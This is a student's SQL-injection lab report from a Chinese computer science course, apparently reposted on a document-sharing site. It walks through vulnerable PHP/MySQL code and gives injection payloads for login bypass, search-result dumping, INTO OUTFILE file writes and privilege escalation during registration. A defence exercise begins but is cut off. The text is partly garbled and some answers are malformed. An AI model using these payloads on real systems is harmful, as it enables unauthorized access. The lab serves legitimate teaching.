版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
陽光學(xué)院計(jì)算機(jī)科學(xué)與技術(shù)系信息安全實(shí)驗(yàn)報(bào)告專 業(yè):計(jì)算機(jī)科學(xué)與技術(shù)年 級(jí): 2015級(jí)組 別: 1B學(xué) 號(hào):姓 名: 鄒駝玲2017年 月 日實(shí)驗(yàn)4 數(shù)據(jù)庫安全練習(xí)一、 SQL注入【實(shí)驗(yàn)?zāi)康摹苛私釹QL注入的基本原理掌握PHP腳本訪問 MySQL數(shù)據(jù)庫的基本方法掌握程序設(shè)計(jì)中避免出現(xiàn) SQL注入漏洞的基本方法【實(shí)驗(yàn)人數(shù)】每組1人【系統(tǒng)環(huán)境】Linux【網(wǎng)絡(luò)環(huán)境】交換網(wǎng)絡(luò)結(jié)構(gòu)【實(shí)驗(yàn)類型】設(shè)計(jì)型【實(shí)驗(yàn)步驟】「注」實(shí)驗(yàn)步驟中涉及到的 mysql數(shù)據(jù)庫操作命令和 php腳本源碼,均在 /opt/ExpNIC/HostSec-Lab/Projects 目錄中提供。一.PHP訪問MySQL簡(jiǎn)單實(shí)例創(chuàng)建隸屬test數(shù)據(jù)庫的user表啟動(dòng)mysql服務(wù)①在控制臺(tái)中輸入如下命令啟動(dòng) mysql服務(wù)。缺省狀態(tài)下 root 用戶密碼為空。servicemysqldstart②可通過如下命令查看 mysql服務(wù)是否啟動(dòng)成功。servicemysqldstatus創(chuàng)建user數(shù)據(jù)庫表在控制臺(tái)中輸入 mysql,進(jìn)入mysql客戶端控制臺(tái)( mysql>)。①選擇工作數(shù)據(jù)庫 test(缺少狀態(tài)下, test 數(shù)據(jù)庫已被創(chuàng)建)。usetest;②創(chuàng)建user數(shù)據(jù)庫表CREATETABLEuser(useridint(11)NOTNULLAUTO_INCREMENT,usernamevarchar(20)NOTNULLDEFAULT"",passwordvarchar(20)NOTNULLDEFAULT"",PRIMARYKEY(userid))TYPE=MyISAMAUTO_INCREMENT=3;③插入兩條數(shù)據(jù)信息INSERTINTOuserVALUES(1,"angel","mypass");INSERTINTOuserVALUES(2,"lblis","yourpass");④查看數(shù)據(jù)庫表select*fromuser;編寫PHP腳本查詢user數(shù)據(jù)庫表編寫access.php腳本,內(nèi)容如下:<php$servername="localhost"
#定義變量
MySQL服務(wù)器名稱$dbusername="root";
#訪問
MySQL數(shù)據(jù)庫的用戶名稱$dbpassword="";
#root
用戶密碼,默認(rèn)為空$dbname="test";
#工作數(shù)據(jù)庫$username=$_GET['username'];
#利用
HTTP的GET方法,從
URL中獲取
username參數(shù)值$password=$_GET['password'];
#獲取
password
參數(shù)值##連接到MySQL服務(wù)器$dbcnx=mysql_connect($servername,$dbusername,$dbpassword);{if(!$dbcnx){echo(" 連接MySQL服務(wù)器失敗".mysql_error());exit();}}選擇工作數(shù)據(jù)庫if(!mysql_select_db($dbname,$dbcnx)){echo("激活$dbname數(shù)據(jù)庫失敗".mysql_error());exit();}##SQL查詢$sql_select="SELECT*FROMuserWHEREusername='$username'ANDpassword='$password'";$result=mysql_query($sql_select,$dbcnx);$userinfo=mysql_fetch_array($result);if(empty($userinfo)){echo("登錄失敗");}else{echo("登錄成功");}echo"<p>SQL查詢:$sql_select<p>";>從代碼中可知,當(dāng)輸入正確的用戶名和密碼后,就會(huì)提示登錄成功,否則登錄失敗。單擊桌面控制面板中“ Web瀏覽器”按鈕,當(dāng)我們?cè)?URL地址欄中提交:本機(jī)IP/access.phpusername=angel&password=mypassWeb頁面會(huì)提示“登錄成功” 。寫出此時(shí)PHP腳本中具體的 SQL查詢語句:SELECT*FROMuserWHEREusername= ’angel’ANDpassword=’mypass’實(shí)施SQL注入在URL地址欄中提交:本機(jī)IP/access.phpusername=angel'or1=1注入是否成功? 否 。寫出此時(shí)PHP腳本中具體的 SQL查詢語句:SELECT*FROMuserWHEREusername= ’angel’or1=1’ANDpassword=”在URL地址欄中提交:本機(jī)IP/access.phpusername=angel'or'1=1注入是否成功? 是
。寫出此時(shí)PHP腳本中具體的
SQL查詢語句:SELECT*FROMuserWHEREusername=’angel’or ‘1=1’ANDpassword=”通過分析SQL查詢語句解釋實(shí)驗(yàn)現(xiàn)象:username=’angel’or1=1’是不合法的,username=’angel’or‘1=1’是合法的用戶,名注入,且任何數(shù)或上1都為1,所以成功。在URL地址欄中提交:本機(jī)IP/access.phpusername=angel'%23注入是否成功? 是
。寫出此時(shí)PHP腳本中具體的
SQL查詢語句:SELECT*FROMuserWHEREusername=’angel
’#’ANDpassword=”此處利用了MySQL支持“#”注釋格式的特性,在提交的時(shí)候會(huì)將#后面的語句注釋掉。由于編碼問題,在多數(shù)Web瀏覽器URL地址欄里直接提交#會(huì)變成空,所以這里使用了字符“#”的ASCII碼值0x23。Mysql還支持“/*”注釋格式,請(qǐng)寫出利用“/*”實(shí)現(xiàn)注入的URL,以及此時(shí)的SQL查詢語句。SQL查詢語句:SELECT*FROMuserWHEREusername=’angel’*’ANDpassword=”URL:’%2F%2A步驟(2)通過向username注入邏輯or運(yùn)算,在只需知曉用戶名的情況下便可成功登錄。下面請(qǐng)?jiān)O(shè)計(jì)單獨(dú)向password注入邏輯運(yùn)算(可多個(gè)),要求在只需知曉用戶名的情況下實(shí)現(xiàn)登錄:SQL查詢語句:SELECT*FROMuserWHEREusername=’angel’or1=1’ANDpassword=”URL:’%20or%201=1下面請(qǐng)?jiān)O(shè)計(jì)SQL查詢語句,要求在不需要知曉用戶名和密碼的情況下實(shí)現(xiàn)登錄。提示:通過猜測(cè)用戶ID字段名稱與用戶序列號(hào),結(jié)合邏輯運(yùn)算,向password進(jìn)行注入。SQL查詢語句:SELECT*FROMuserWHEREusername=’angel’or‘1=1’ANDpassword=”URL:’%20or%20’1=1二.搜索引擎注入值得注意的是,Internet上有許多的PHP程序搜索引擎是存在問題的,也就是提交特殊字符就可以顯示所有記錄,包括不符合條件的。創(chuàng)建隸屬test數(shù)據(jù)庫的file表創(chuàng)建file數(shù)據(jù)庫表file 數(shù)據(jù)庫表結(jié)構(gòu)如下:CREATETABLEfile(fileid int(11)NOTNULLAUTO_INCREMENT,title varchar(20)NOTNULLDEFAULT"",author varchar(20)NOTNULLDEFAULT"",summary varchar(1024)NOTNULLDEFAULT"",PRIMARYKEY(fileid))TYPE=MyISAMAUTO_INCREMENT=3;插入四條數(shù)據(jù)信息titleauthorsummaryhoneypothoneypotandhoneynetsnortsnortintrusiondetectionsnortbasednetworkppianothersnortpaperiptables+snortnonameintelligenceids2.編寫
HTML頁面通過HTML頁面提交表單給服務(wù)器端據(jù)庫進(jìn)行查詢,最后將查詢結(jié)果返回給
PHP腳本,由 PHP根據(jù)表單索引關(guān)鍵字對(duì)HTML頁面。HTML頁面代碼如下:
MySQL數(shù)<html><body><formaction="search.php"method="post">
#指定處理表單請(qǐng)求的
PHP腳本為
search.php<tableborder="0"><trbgcolor="#cccaaa"><tdwidth="300">
文檔搜索引擎
</td></tr></table><p><tableborder="0"><tr><td> 關(guān)鍵字:</td><tdalign="left"><inputtype="text"name="key"size="32"maxlength="32"></td></tr><tr><tdbgcolor="#cccaaa"colspan="2"align="left"><inputtype="submit"value="</tr>
搜索"></td></form></body></html>HTML頁面如圖所示:編寫PHP腳本查詢file數(shù)據(jù)庫表<php$key=$_POST['key']; #從html表單中提取變量值><html><head><title> 搜索結(jié)果</title></head><body><h3>文檔搜索引擎</h3><php>echo"搜索關(guān)鍵字:$key<p>";echo"文檔搜索時(shí)間: $key<p>";echodate("H:i,jSF<p>");echo"搜索結(jié)果:";$servername="localhost";$dbusername="root";$dbpassword="";$dbname="test";$tablename="";$result=mysql_connect($servername,$dbusername,$dbpassword);if(!$result){echo("連接mysql服務(wù)器失敗");exit();}if(!empty($key)){$sql_select="SELECT*FROMfileWHEREtitleLIKE'%$key%'"; #模糊查詢title 中含有指定關(guān)鍵字的記錄,其中 %符號(hào)表示通配,這里前、后均通配$result=mysql_db_query($dbname,$sql_select);if(empty($result)){echo"error";exit();}$total=mysql_num_rows($result);if($total<=0)echo"<p>The$keywasnotfoundinalltherecord<p>";else{while($file=mysql_fetch_array($result))echo("<li>".htmlspecialchars($file[title])."<p>");echo("摘要:".htmlspecialchars($file[summary]));}else{echo("<b> 請(qǐng)輸入查詢關(guān)鍵字 .</b><p>");}exit();></body></html>含與
輸入關(guān)鍵字“snort”,進(jìn)行搜索,搜索結(jié)果中含有多少條記錄?snort 關(guān)鍵字無關(guān)的項(xiàng) 無 。寫出此時(shí)PHP腳本中具體的 SQL查詢語句:
3
。記錄中是否包SELE
CT*FORMfileWHEREtitleLIKE
‘ %$snort%’”;4.SQL注入snort
(1) 利用PHP腳本沒有對(duì)關(guān)鍵字變量進(jìn)行檢查的漏洞進(jìn)入 SQL注入。輸入關(guān)鍵字“%”,進(jìn)行搜索,搜索結(jié)果中含有多少條記錄? 4 。記錄中是否包含與關(guān)鍵字無關(guān)的項(xiàng) 2 個(gè)分別為:honeypotpater 和iptables+snort 。寫出此時(shí)PHP腳本中具體的 SQL查詢語句:SELECT*FORMfileWHEREtitleLIKE
‘ %$%%’”;解釋
SQL查詢語句含義:搜索表,并對(duì) file 表搜索關(guān)鍵字“ %”的數(shù)據(jù)輸入關(guān)鍵字“_’ORDERBYfileid#”「說明」“_”字符表示單字符通配, n個(gè)“_”字符則表示 n字符通配?!癘RDERBYfileid”表示按特定順序進(jìn)行
SQL查詢。若
fileid
為整型字段,則按整數(shù)大小(由小到大)順序進(jìn)行查詢;若
fileid
為字符數(shù)組類型字段,則按字符
ASCII
碼(由前到后)順序進(jìn)行查詢。寫出此時(shí)
PHP腳本中具體的
SQL查詢語句:SELECT*FORMfileWHEREtitleLIKE
‘ %$_’ORDERBYfileid#%
’”;解釋
SQL查詢語句含義:搜索表,并對(duì)
file
表搜索關(guān)鍵字“
_’ORDERBYfileid#
’”的數(shù)據(jù)三.注入實(shí)現(xiàn)導(dǎo)出文件本實(shí)驗(yàn)步驟僅為說明由于 SQL注入而給服務(wù)器系統(tǒng)帶來一定程度上的危害。在步驟一中,我們使用用戶名, 在無需知曉用戶密碼的情況下, 通過SQL注入實(shí)現(xiàn)了登錄。作為進(jìn)一步操作, 我們可以通過 SQL注入來向服務(wù)器硬盤中寫入大量無用的文件, 而這是利用了 MySQL的“INTOOUTFILE”命令,其查詢方法如下 :SELECT*FROMuserWHEREcondINTOOUTFILE'/etc/temp.txt';上述SQL查詢語句會(huì)將 user數(shù)據(jù)庫表中,滿足 cond條件的記錄以 INTOOUTFILE標(biāo)準(zhǔn)格式導(dǎo)出到/etc/temp.txt 文件中。而信息能夠被成功導(dǎo)出到 /etc/temp.txt 中的條件是目標(biāo)目錄有可寫的權(quán)限和目標(biāo)文件不存在?;诓襟E一,寫出能夠?qū)崿F(xiàn)( SQL注入)上述功能的 URL:OUTFILE ’/etc/temp.txt寫出此時(shí)PHP腳本中具體的 SQL查詢語句:SELECT*FROMuserWHEREusername=’angel’AND‘passname=mypass’OUTFILE’/etc/temp.txt’四.通過注入提升用戶權(quán)限如果大家認(rèn)為SQL注入僅僅適用于SELECT語句就大錯(cuò)特錯(cuò)了,其實(shí)還有兩個(gè)危害更大的操作,那就是INSERT和UPDATE語句。創(chuàng)建隸屬test數(shù)據(jù)庫的register表切換至/opt/ExpNIC/HostSec-Lab/Projects/step4/ 目錄,執(zhí)行腳本create_table_register 創(chuàng)建register 數(shù)據(jù)庫表。寫出數(shù)據(jù)表包含的字段名稱:Userid 、username、password 、homepage、userlevel(2) 注冊(cè)用戶將/opt/ExpNIC/HostSec-Lab/Projects/step4/ 目錄中的 register.htm 和register.php文件拷貝至/var/www/html 目錄下。在Web瀏覽器URL地址欄中訪問register.htm頁面。填寫“用戶名”、“用戶口令”和“個(gè)人主頁”信息,單擊“注冊(cè)”按鈕,進(jìn)行注冊(cè)。注冊(cè)用戶級(jí)別( userlevel ) 3 。截圖,注冊(cè)成功的圖,圖里面需要包含地址欄SQL注入提升注冊(cè)用戶權(quán)限返回到register.htm 頁面,按如下方法填寫“個(gè)人主頁”信息。','1')#單擊“注冊(cè)”按鈕,用戶注冊(cè)級(jí)別 1 。寫出此時(shí)PHP腳本中具體的 SQL查詢語句:INSEERT INTOregisterVALUES(0, ’zoutuoling ’,’123456’,’’,’1’)#’,3)【思考問題】1.SQL注入漏洞產(chǎn)生的原因是什么?練習(xí)二、 防范SQL注入【實(shí)驗(yàn)?zāi)康摹苛私夥婪禨QL注入的方法學(xué)會(huì)利用合法性校驗(yàn)防范 SQL注入學(xué)會(huì)利用preparedstatement 執(zhí)行SQL查詢【實(shí)驗(yàn)人數(shù)】每組1人【系統(tǒng)環(huán)境】Linux【網(wǎng)絡(luò)環(huán)境】交換網(wǎng)絡(luò)結(jié)構(gòu)【實(shí)驗(yàn)工具】--【實(shí)驗(yàn)類型】設(shè)計(jì)型【實(shí)驗(yàn)步驟】一.客戶端進(jìn)行合法性校驗(yàn)進(jìn)行實(shí)驗(yàn)之前首先啟動(dòng) MySQL服務(wù),命令如下:servicemysqldstart(1) 單擊工具欄“控制臺(tái)”按鈕,進(jìn)入實(shí)驗(yàn)?zāi)夸洝?login 是存在SQL注入漏洞的 Web應(yīng)用程序。復(fù)制 login.htm 和login.php 文件到/var/www/html/ 目錄(Web服務(wù)文檔主目錄)。使用Web瀏覽器瀏覽login.htm,在URL地址欄中輸入如下信息:本機(jī)IP地址/login.htm進(jìn)入“注冊(cè)會(huì)員登錄”頁面,用戶名: hello,密碼:hellopass ,確定登錄成功。(3) 注入攻擊返回login.htm 登錄界面,輸入用戶名: hello'or'1=1 ,密碼任意,嘗試登錄。由于login.htm沒有對(duì)“用戶名”、“密碼”輸入數(shù)據(jù)的合法性進(jìn)行驗(yàn)證,從而導(dǎo)致了SQL被注入。(4) 編輯/var/www/html/login.htm 文件,利用 JavaScript 對(duì)用戶輸入數(shù)據(jù)進(jìn)行合法性驗(yàn)證,限制用戶輸入“'”(單
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 二零二五年度跨境電商平臺(tái)股權(quán)置換合同樣本2篇
- 2025年度個(gè)人農(nóng)村宅基地抵押貸款合同模板
- 二零二五年度蟲草收購與市場(chǎng)拓展合作合同3篇
- 2025年度租賃房屋維修保養(yǎng)合同范本4篇
- 2025年度鋼構(gòu)材料電商平臺(tái)廣告合作服務(wù)合同
- 二零二五年度車輛抵押貸款擔(dān)保機(jī)構(gòu)盡職調(diào)查服務(wù)合同3篇
- 2025版城市社區(qū)食堂運(yùn)營(yíng)承包合同3篇
- 2025承包合同協(xié)議書范本
- 2025年度民宿窗簾墻布個(gè)性定制與租賃服務(wù)合同3篇
- 2025個(gè)人擔(dān)保合同范本
- 《中國高考評(píng)價(jià)體系》解讀(化學(xué)學(xué)科)
- 公司發(fā)展能力提升方案
- 電梯安全守則及乘客須知
- IT硬件系統(tǒng)集成項(xiàng)目質(zhì)量管理方案
- 《容幼穎悟》2020年江蘇泰州中考文言文閱讀真題(含答案與翻譯)
- 水上水下作業(yè)應(yīng)急預(yù)案
- API520-安全閥計(jì)算PART1(中文版)
- 2023年廣東省廣州地鐵城際鐵路崗位招聘筆試參考題庫附帶答案詳解
- 商務(wù)提成辦法
- 直流電機(jī)電樞繞組簡(jiǎn)介
- GB/T 19889.5-2006聲學(xué)建筑和建筑構(gòu)件隔聲測(cè)量第5部分:外墻構(gòu)件和外墻空氣聲隔聲的現(xiàn)場(chǎng)測(cè)量
評(píng)論
0/150
提交評(píng)論